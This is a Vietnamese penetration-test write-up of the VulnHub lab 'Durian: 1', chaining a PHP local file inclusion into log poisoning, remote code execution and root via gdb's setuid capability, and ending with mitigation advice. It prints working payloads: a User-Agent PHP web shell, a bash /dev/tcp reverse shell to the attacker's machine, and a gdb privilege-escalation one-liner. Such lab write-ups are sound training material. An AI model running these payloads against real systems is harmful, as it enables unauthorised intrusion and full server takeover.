

PENTEST WRITEUP

Multi-Vulnerability Lab Report

Thông tin bài lab

Lab ID	Durian-1
Tên lab	Durian: 1 – VulnHub
Platform / Source	VulnHub / CTF
Target	http://192.168.205.135

Chi tiết lỗ hổng

Reconnaissance

Host Discovery and Service Enumeration

```
(kali㉿kali)-[~]
$ sudo arp-scan --localnet
Interface: eth0, type: EN10MB, MAC: 00:0c:29:76:a8:89, IPv4: 192.168.205.133
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.205.1    00:50:56:c0:00:08    (Unknown)
192.168.205.2    00:50:56:ed:1f:ca    (Unknown)
192.168.205.135 00:0c:29:5e:59:24    (Unknown)
192.168.205.254 00:50:56:e6:56:c7    (Unknown)

6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.838 seconds (139.28 hosts/sec). 4 responded
```

Hình 01: Kết quả arp-scan trên mạng NAT xác định các host đang hoạt động, trong đó có địa chỉ 192.168.205.135

```
(kali㉿kali)-[~]
$ ping 192.168.205.135
PING 192.168.205.135 (192.168.205.135) 56(84) bytes of data.
64 bytes from 192.168.205.135: icmp_seq=1 ttl=64 time=0.687 ms
64 bytes from 192.168.205.135: icmp_seq=2 ttl=64 time=0.526 ms
64 bytes from 192.168.205.135: icmp_seq=3 ttl=64 time=0.776 ms
64 bytes from 192.168.205.135: icmp_seq=4 ttl=64 time=0.358 ms
64 bytes from 192.168.205.135: icmp_seq=5 ttl=64 time=0.816 ms
^C
--- 192.168.205.135 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4095ms
rtt min/avg/max/mdev = 0.358/0.632/0.816/0.169 ms
```

Hình 02. Ping tới địa chỉ lab thành công

```

(kali@kali)-[~]
$ nmap -p- -T4 192.168.205.135
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-29 00:11 -0400
Nmap scan report for 192.168.205.135
Host is up (0.00070s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
7080/tcp  open  empowerid
8088/tcp  open  radan-http
MAC Address: 00:0C:29:5E:59:24 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 3.72 seconds

```

Hình 03. Scan các port của lab nhận thấy có tổng 4 port

```

(kali@kali)-[~]
$ nmap -sC -sV -p 22 192.168.205.135
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-29 00:11 -0400
Nmap scan report for 192.168.205.135
Host is up (0.00031s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
|_ ssh-hostkey:
|   2048 28:1c:64:fa:9c:c3:d2:d4:bb:76:3d:3b:10:e2:b1:25 (RSA)
|   256  da:b2:e1:7f:7c:1b:58:cf:fd:4f:74:e9:23:6d:51:d7 (ECDSA)
|_  256  41:e1:0c:2b:d4:26:e8:d3:71:bb:9d:f9:61:56:63:c0 (ED25519)
MAC Address: 00:0C:29:5E:59:24 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.30 seconds

```

Hình 04. Quét chi tiết cổng 22/SSH

```

(kali@kali)-[~]
$ nmap -sC -sV -p 80 192.168.205.135
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-29 00:12 -0400
Nmap scan report for 192.168.205.135
Host is up (0.00044s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http     Apache httpd 2.4.38 ((Debian))
|_ http-title: Durian
|_ http-server-header: Apache/2.4.38 (Debian)
MAC Address: 00:0C:29:5E:59:24 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.09 seconds

```

Hình 05. Quét chi tiết cổng 80/HTTP

```

(kali@kali)-[~]
$ whatweb 192.168.205.135
ERROR Opening: https://192.168.205.135 - Connection refused - connect(2) for "192.168.205.135" port 443
http://192.168.205.135 [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.205.135], Title[Durian]

(kali@kali)-[~]
$ curl -I 192.168.205.135
HTTP/1.1 200 OK
Date: Wed, 29 Jul 2026 04:14:28 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Tue, 08 Sep 2020 02:30:16 GMT
ETag: "2fd-5aec41d8e5081"
Accept-Ranges: bytes
Content-Length: 765
Vary: Accept-Encoding
Content-Type: text/html

```

Hình 06. Nhận thấy web được triển khai trên Apache/2.4.38

```
(kali㉿kali)-[~]
$ feroxbuster \
-u http://192.168.205.135/ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x php html txt \
-t 20 \
-d 2 -s 200

FERROX OXIDE
by Ben "epi" Risher 🐼 ver: 2.13.1

🚩 Target Url      http://192.168.205.135/
🚩 In-Scope Url    192.168.205.135
🚩 Threads        20
🚩 Wordlist         /usr/share/seclists/Discovery/Web-Content/common.txt
🚩 Status Codes    [200]
🚩 Timeout (secs)  7
🚩 User-Agent       feroxbuster/2.13.1
🚩 Config File     /etc/feroxbuster/ferox-config.toml
🚩 Extract Links   true
🚩 Extensions     [php, html, txt]
🚩 HTTP methods    [GET]
🚩 Recursion Depth 2

🔑 Press [ENTER] to use the Scan Management Menu"

200 GET 201 51w 765c http://192.168.205.135/
200 GET 14l 21w 241c http://192.168.205.135/cgi-data/getImage.php
200 GET 20l 51w 765c http://192.168.205.135/index.html
200 GET 384l 3177w 19915c http://192.168.205.135/blog/license.txt
200 GET 13l 78w 4373c http://192.168.205.135/blog/wp-admin/images/wordpress-logo.png
200 GET 381l 755w 6017c http://192.168.205.135/blog/wp-admin/css/install.css
200 GET 93l 411w 6318c http://192.168.205.135/blog/wp-login.php
200 GET 11l 24w 226c http://192.168.205.135/blog/wp-links-opml.php
200 GET 0l 0w 0c http://192.168.205.135/blog/wp-load.php
200 GET 5l 15w 135c http://192.168.205.135/blog/wp-trackback.php
200 GET 0l 0w 0c http://192.168.205.135/blog/wp-blog-header.php
200 GET 0l 0w 0c http://192.168.205.135/blog/wp-cron.php
200 GET 0l 0w 0c http://192.168.205.135/blog/wp-config.php
200 GET 23l 80w 1281c http://192.168.205.135/blog/wp-admin/upgrade.php
200 GET 17l 83w 1311c http://192.168.205.135/blog/wp-admin/install.php
200 GET 97l 823w 7278c http://192.168.205.135/blog/readme.html
[#####] - 13s 38108/38108 0s found:16 errors:1
[#####] - 8s 19004/19004 2248/s http://192.168.205.135/
[#####] - 12s 19004/19004 1634/s http://192.168.205.135/blog/
[#####] - 0s 19004/19004 6334667/s http://192.168.205.135/cgi-data/ ⇒ Directory listing (add --scan-dir-listings to scan)
```

Hình 07. Directory Scan thấy được các đường dẫn có thể truy cập

Exploit Chain – LFI to Log Poisoning to Linux Privilege Escalation

Loại lỗi	LFI to RCE qua Log Poisoning
Endpoint	GET /cgi-data/getImage.php?file=
Tham số	file
Impact	Độc tệp tùy ý, thực thi lệnh từ xa dưới quyền www-data và tạo tiền đề leo thang lên root.
Severity	Critical

Root Cause

Tham số file được truyền trực tiếp vào `include($_GET['file'])` mà không có allowlist hoặc kiểm tra đường dẫn, cho phép include tệp tùy ý.

Access log ghi lại dữ liệu do người dùng kiểm soát (ví dụ User-Agent) và có thể bị endpoint LFI include trong ngữ cảnh PHP, biến LFI thành RCE.

Binary `/usr/bin/gdb` được gán capability `cap_setuid+ep` không cần thiết, cho phép tiến trình của `www-data` đặt UID thành 0 và mở shell quyền root.

Attack Path

1. Truy cập đường dẫn `/cgi-data/getImage.php`

```
(kali@kali)-[~]
└─$ curl 'http://192.168.205.135/cgi-data/getImage.php'
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
</head>
<body>
  /*
  <?php include $_GET['file']; */
</body>
</html>
```

Hình 08. Phát hiện URL nhận 1 param file

```
(kali@kali)-[~]
└─$ curl -sG \
> --data-urlencode "file=/etc/passwd" \
> "http://192.168.205.135/cgi-data/getImage.php"
```

Hình 09. Thử cho vào param file giá trị `/etc/passwd` để đọc file

```

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,:/run/systemd:/usr/sbin/nologin
durian:x:1000:1000:durian,,:/home/durian:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
lsadm:x:998:1001::/sbin/nologin
mysql:x:106:113:MySQL Server,,:/nonexistent:/bin/false

```

Hình 10. Nhận lại nội dung của file /etc/passwd trong response

2. Tiếp tục đọc /etc/crontab

```

(kali@kali)-[~]
$ curl -sG \
--data-urlencode "file=/etc/crontab" \
"http://192.168.205.135/cgi-data/getImage.php"

```

Hình 11. Payload đọc cronjob

```

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .----- minute (0 - 59)
# | .----- hour (0 - 23)
# | | .----- day of month (1 - 31)
# | | | .----- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .----- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

```

Hình 12. Nội dung cronjob

3. Chưa có thông tin gì có ích. Vì web chạy trên Apache/2.4.38 nên ta sẽ đọc thử file /etc/apache2/apache2.conf

```

(kali@kali)-[~]
$ curl -sG \
--data-urlencode "file=/etc/apache2/apache2.conf" \
"http://192.168.205.135/cgi-data/getImage.php"

```

Hình 13. Payload đọc apache2.conf

```
# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
#   /etc/apache2/
#   |-- apache2.conf
#   |-- ports.conf
#   |-- mods-enabled
#   |   |-- *.load
#   |   |-- *.conf
#   |-- conf-enabled
#   |   |-- *.conf
#   |-- sites-enabled
#   |   |-- *.conf
#
```

Hình 14. Trong nội dung file ta phát hiện thêm các đường dẫn file khác

```
(kali@kali)~$ curl -sG \
--data-urlencode "file=/etc/apache2/ports.conf" \
"http://192.168.205.135/cgi-data/getImage.php"
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
</head>
<body>
  /*
  </?php include $_GET['file']; */
</body>
</html>

# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf

Listen 80

<IfModule ssl_module>
  Listen 443
</IfModule>

<IfModule mod_gnutls.c>
  Listen 443
</IfModule>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
```

Hình 15. Ta đọc file /etc/apache2/ports.conf nhận thấy có 1 file khác có khả năng chỉnh sửa cấu hình

```
(kali@kali)~$ curl -sG \
--data-urlencode "file=/etc/apache2/sites-enabled/000-default.conf" \
"http://192.168.205.135/cgi-data/getImage.php"
```

Hình 16. Payload đọc file chỉnh sửa cấu hình

```
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com

ServerAdmin webmaster@localhost
DocumentRoot /var/www/html

# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn

ErrorLog /var/log/durian.log/error.log
CustomLog /var/log/durian.log/access.log combined

# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
```

Hình 17. Ta thấy được error.log và access.log được cấu hình với custom path

```
(kali@kali)~$ curl -sG \
--data-urlencode "file=/var/log/durian.log/error.log" \
"http://192.168.205.135/cgi-data/getImage.php"
```

Hình 18. Đọc file error.log


```
Request
Pretty Raw Hex Hackvector
1 GET /cgi-data/getImage.php?file=/var/log/durian.log/access.log&cmd=id HTTP/1.1
2 Host: 192.168.205.135
3 Cache-Control: max-age=0
4 Accept-Language: en-GB,en;q=0.5
5 Upgrade-Insecure-Requests: 1
6 User-Agent: <?php system($_GET['cmd']); ?>
7 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 Accept-Encoding: gzip, deflate, br
9 Connection: keep-alive
10
```

Hình 24. Gửi kèm param cmd=id

```
192.168.205.1 ~ - [29/Jul/2026:00:36:36 -0400] "GET /cgi-data/getImage.php
HTTP/1.1" 200 416 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36"
192.168.205.1 ~ - [29/Jul/2026:00:37:28 -0400] "GET
/cgi-data/getImage.php?file=/var/log/durian.log/access.log&cmd=id HTTP/1.1" 200 772
"uid=33(vvv-data) gid=33(vvv-data) groups=33(vvv-data)"
29
30
```

Hình 25. Kết quả trả lại kèm kết quả của lệnh id thực thi thành công

```
Request
Pretty Raw Hex Hackvector
1 GET /cgi-data/getImage.php?file=/var/log/durian.log/access.log&cmd=sudo%20-l
HTTP/1.1
2 Host: 192.168.205.135
3 Cache-Control: max-age=0
4 Accept-Language: en-GB,en;q=0.5
5 Upgrade-Insecure-Requests: 1
6 User-Agent: <?php system($_GET['cmd']); ?>
7 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 Accept-Encoding: gzip, deflate, br
9 Connection: keep-alive
10
```

Hình 26. Sử dụng lệnh sudo -l

```
192.168.205.1 ~ - [29/Jul/2026:00:37:57 -0400] "GET
/cgi-data/getImage.php?file=/var/log/durian.log/access.log&cmd=whoami HTTP/1.1"
200 821 "-" "Matching Defaults entries for vvv-data on durian:
env_reset, mail_badpass,
secure_path=/usr/local/sbin::/usr/local/bin::/usr/sbin::/usr/bin::/sbin::/bin
43
44 User vvv-data may run the following commands on durian:
45 (root) NOPASSWD: /sbin/shutdown
46 (root) NOPASSWD: /bin/ping
47
192.168.205.1 ~ - [29/Jul/2026:00:38:11 -0400] "GET
/cgi-data/getImage.php?file=/var/log/durian.log/access.log&cmd=curl%20-l
HTTP/1.1" 200 829 "-" "Matching Defaults entries for vvv-data on durian:
env_reset, mail_badpass,
secure_path=/usr/local/sbin::/usr/local/bin::/usr/sbin::/usr/bin::/sbin::/bin
51
52 User vvv-data may run the following commands on durian:
53 (root) NOPASSWD: /sbin/shutdown
54 (root) NOPASSWD: /bin/ping
55 "
```

Hình 27. Nhận lại 2 lệnh sudo có thể sử dụng và không cần nhập password user

5. Ta thấy 2 lệnh ta nhận được không có giá trị để leo tới root vậy nên ta sẽ hướng tới hướng khác. Nhưng trước hết ta sẽ đính Reverse shell vào để có thể dễ thao tác hơn trên hệ thống

```
Request
Pretty Raw Hex Hackvector
1 GET /cgi-data/getImage.php?file=/var/log/durian.log/access.log&cmd=
  bash+-c+"bash+-i>126+/dev/tcp/192.168.205.133/4444+0>1261" HTTP/1.1
2 Host: 192.168.205.135
3 Cache-Control: max-age=0
4 Accept-Language: en-GB,en;q=0.5
5 Upgrade-Insecure-Requests: 1
6 User-Agent: <?php system($_GET['cmd']); ?>
7 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 Accept-Encoding: gzip, deflate, br
9 Connection: keep-alive
10
```

Hình 28. Gửi lệnh thực thi reverse shell

```
(kali@kali)-[~]
$ nc -lvnp 4444
Listening on 0.0.0.0 4444
```

Hình 29. Máy attack sử dụng netcat lắng nghe port 4444

```
(kali@kali)~[~]
$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.205.135 34940
bash: cannot set terminal process group (535): Inappropriate ioctl for device
bash: no job control in this shell
www-data@durian:/var/www/html/cgi-data$
```

Hình 30. Reverse shell thực thi thành công

```
www-data@durian:/var/www/html/cgi-data$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Hình 31. Kiểm tra lại quyền của user

```
www-data@durian:/var/www/html/cgi-data$ find / -perm -4000 -type f 2>/dev/null
<=l/cgi-data$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/sudo
/usr/bin/mount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/su
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn
/usr/lib/efl/efl-dmccrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
www-data@durian:/var/www/html/cgi-data$
```

Hình 32. Tìm tất cả các file có quyền SUID trên hệ thống

```
www-data@durian:/var/www/html/cgi-data$ /usr/bin/sudo -l
/usr/bin/sudo -l
Matching Defaults entries for www-data on durian:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on durian:
(root) NOPASSWD: /sbin/shutdown
(root) NOPASSWD: /bin/ping
www-data@durian:/var/www/html/cgi-data$
```

Hình 33. Quyền sudo của www-data: NOPASSWD với /sbin/shutdown và /bin/ping

```
www-data@durian:/var/www/html/cgi-data$ getcap -r / 2>/dev/null
getcap -r / 2>/dev/null
/usr/bin/gdb = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep
www-data@durian:/var/www/html/cgi-data$
```

Hình 34. Tìm các file được gán Linux capabilities trên hệ thống, và phát hiện /usr/bin/gdb được cấp capability CAP_SETUID. Có thể thay đổi UID của user

```
www-data@durian:/var/www/html/cgi-data$ /usr/bin/gdb -q -nx \
/usr/bin/gdb -q -nx \
> -ex 'python import os; os.setuid(0)' \
-ex 'python import os; os.setuid(0)' \
> -ex 'shell /bin/bash -p' \
-ex 'shell /bin/bash -p' \
> -ex quit
-ex quit
```

Hình 35. Dùng Python interpreter tích hợp trong GDB gọi os.setuid(0) rồi mở bash với UID 0

```
ex quit
id
uid=0(root) gid=33(www-data) groups=33(www-data)
```

Hình 36. Lệnh id xác nhận UID của tiến trình đã trở thành 0 (root)

```
ls -la /root
total 36
drwx----- 3 root root 4096 Sep  8 2020 .
drwxr-xr-x 18 root root 4096 Sep  7 2020 ..
-rw----- 1 root root 84 Sep  8 2020 .bash_history
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 3 root root 4096 Sep  7 2020 .local
-rw----- 1 root root 143 Sep  7 2020 .mysql_history
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 66 Sep  7 2020 .selected_editor
-rw-r--r-- 1 root root 45 Sep  7 2020 proof.txt
cat /root/proof.txt
SunCSR_Team.af6d45da1f1181347b9e2139f23c6a5b
```

Hình 37. Đọc thư mục /root và tệp /root/proof.txt

6. Ta nhận được flag

FLAG: SunCSR_Team.af6d45da1f1181347b9e2139f23c6a5b

Mitigation

Không truyền trực tiếp `$_GET['file']` hoặc bất kỳ dữ liệu do người dùng kiểm soát nào vào `include()/require()`.

Kiểm soát đường dẫn. Nếu bắt buộc nhận tên tệp, chỉ cho phép tên cơ sở trong allowlist, dùng `realpath()` để chuẩn hóa và xác nhận đường dẫn kết quả vẫn nằm trong thư mục cho phép. Từ chối đường dẫn tuyệt

Phục vụ tệp như dữ liệu. Dùng `readfile()` hoặc cơ chế tải tệp tương đương sau khi kiểm tra loại tệp, thay vì `include()` khiến nội dung được PHP diễn giải. Lưu dữ liệu ngoài web root và vô hiệu hóa thực thi PHP trong thư mục dữ liệu, upload và log.

Bảo vệ nhật ký. Cấu hình quyền sở hữu và quyền đọc để tài khoản chạy PHP không thể đọc access/error log nếu không cần thiết; tách log khỏi các đường dẫn mà ứng dụng có thể truy cập và không cho phép thực thi mã tại vị trí lưu log.

Thu hồi capability nguy hiểm. Xóa `cap_setuid` khỏi `/usr/bin/gdb` (ví dụ: `setcap -r /usr/bin/gdb`), hạn chế hoặc gỡ công cụ debug khỏi máy chủ production và định kỳ rà soát bằng `getcap -r / 2>/dev/null`. GDB không được phép có `CAP_SETUID`.